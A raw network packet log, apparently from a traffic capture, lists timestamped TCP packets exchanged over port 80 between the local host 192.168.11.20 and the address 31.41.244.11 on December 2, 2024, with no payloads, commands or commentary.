Dec 2, 2024 11:21:10.828622103 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.828696966 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.828802109 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.828880072 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.828921080 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.828969002 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.829014063 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.829097986 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.829139948 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.829217911 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.829258919 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.829268932 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.829318047 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.829353094 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.829456091 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.829530001 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.829575062 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.829660892 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.829714060 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.829719067 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.829838037 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.829935074 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.830091000 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.830101013 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.830166101 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.830246925 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.830353022 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.830393076 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.830439091 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.830482960 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.830672979 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.830673933 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.830832005 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.830887079 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.830986977 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.831120014 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.831149101 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.831196070 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.831239939 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.831271887 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.831285000 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.831336975 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.831341982 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.831393003 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.831439018 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.831444979 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.831571102 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.831603050 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.831612110 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.831665993 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.831716061 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.831716061 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.831783056 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.831816912 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.831821918 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.831875086 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.831927061 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.831981897 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.832016945 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.832020998 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.832072020 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.832130909 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.832220078 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.832293987 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.832325935 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.832369089 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.832415104 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.832443953 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.832454920 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.832504988 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.832519054 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.832566977 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.832648993 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.832792044 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.832824945 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.832866907 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.832954884 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.832962036 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.833069086 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.833112955 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.833184004 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.833215952 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.833342075 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.833384037 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.833456993 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.833488941 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.833523989 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.833553076 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.833596945 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.833630085 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.833635092 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.833686113 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.833702087 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.833748102 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.833776951 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.833808899 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.833836079 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.833853960 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.833897114 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.833924055 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.833988905 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.834036112 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.834101915 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.834150076 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.834192991 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.834222078 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.834264994 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.834287882 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.834327936 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.834338903 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.834372997 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.834445000 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.834491014 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.834526062 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.834572077 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.834600925 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.834645033 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.834665060 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.834748030 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.834758997 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.834795952 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.834806919 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.834857941 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.834897995 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.834995985 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.835005045 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.835045099 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.835089922 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.835133076 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.835144997 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.835180044 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.835225105 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.835231066 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.835231066 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.835293055 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:10.835370064 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:10.835458040 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.134444952 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.134511948 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.134634018 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.134634018 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.134798050 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.134991884 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.136384010 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.136444092 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.136488914 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.136596918 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.136651039 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.136944056 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.137145042 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.137303114 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.137358904 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.137404919 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.137484074 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.137557030 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.137670040 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.137902975 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.138057947 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.138114929 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.138159037 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.138202906 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.138238907 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.138269901 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.138309956 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.138334036 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.138381958 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.138387918 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.138438940 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.138446093 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.138487101 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.138530016 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.138545036 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.138636112 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.138704062 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.139007092 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.139228106 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.139385939 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.139441013 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.139563084 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.139605045 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.139689922 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.139740944 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.139833927 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.139879942 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.140249968 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.140391111 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.140446901 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.140455961 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.140520096 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.140533924 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.140583038 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.140672922 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.140678883 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.140732050 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.140820980 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.140871048 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.140897036 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.140932083 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.141028881 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.141093016 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.141119003 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.141155958 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.141201019 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.141238928 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.141259909 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.141288996 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.141339064 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.141380072 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.141448021 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.141565084 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.141601086 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.141815901 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.141968966 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.142024040 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.142070055 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.142115116 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.142136097 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.142136097 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.142263889 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.142355919 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.142477036 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.142498970 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.142673016 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.142822981 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.142878056 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.142982960 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.143023014 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.143100977 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.143151045 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.143239975 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.143239975 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.143345118 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.143491030 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.144051075 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.144222021 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.144324064 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.144378901 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.144423008 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.144464970 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.144464970 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.144572020 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.144578934 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.144633055 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.144721031 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.144784927 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.144824028 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.144870996 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.144942999 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.144987106 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.145020008 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.145091057 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.145123959 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.145136118 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.145226002 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.145253897 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.145371914 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.145576954 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.145626068 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.145656109 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.145699978 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.145714045 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.145714045 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.145843983 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.146060944 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.146224022 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.146342993 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.146464109 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.146507978 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.146621943 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.146738052 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.146866083 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.146878958 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.147025108 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.147103071 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.147247076 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.147330046 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.147375107 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.147509098 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.147509098 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.147674084 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.147730112 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.147829056 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.147875071 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.147989035 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.148170948 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.148390055 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.148566008 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.148719072 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.148776054 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.148819923 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.148871899 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.148998022 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.149005890 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.149184942 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.149406910 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.149488926 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.149535894 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.149580956 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.149605036 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.149641991 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.149744987 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.149857998 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.149904013 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.149949074 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.149995089 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.150001049 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.150032997 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.150101900 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.150127888 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.150154114 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.150232077 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.150284052 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.150387049 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.150527000 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.150561094 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.150605917 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.150716066 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.150778055 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.150876999 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.150923967 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.150968075 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.151015043 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.151057005 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.151065111 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.151112080 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.151132107 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.151206970 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.151236057 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.151283026 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.151290894 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.151392937 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.151442051 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.151601076 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.151648045 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.151691914 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.151758909 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.151807070 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.151853085 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:11.152002096 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:11.152158976 CET	49753	80	192.168.11.20	31.41.244.11
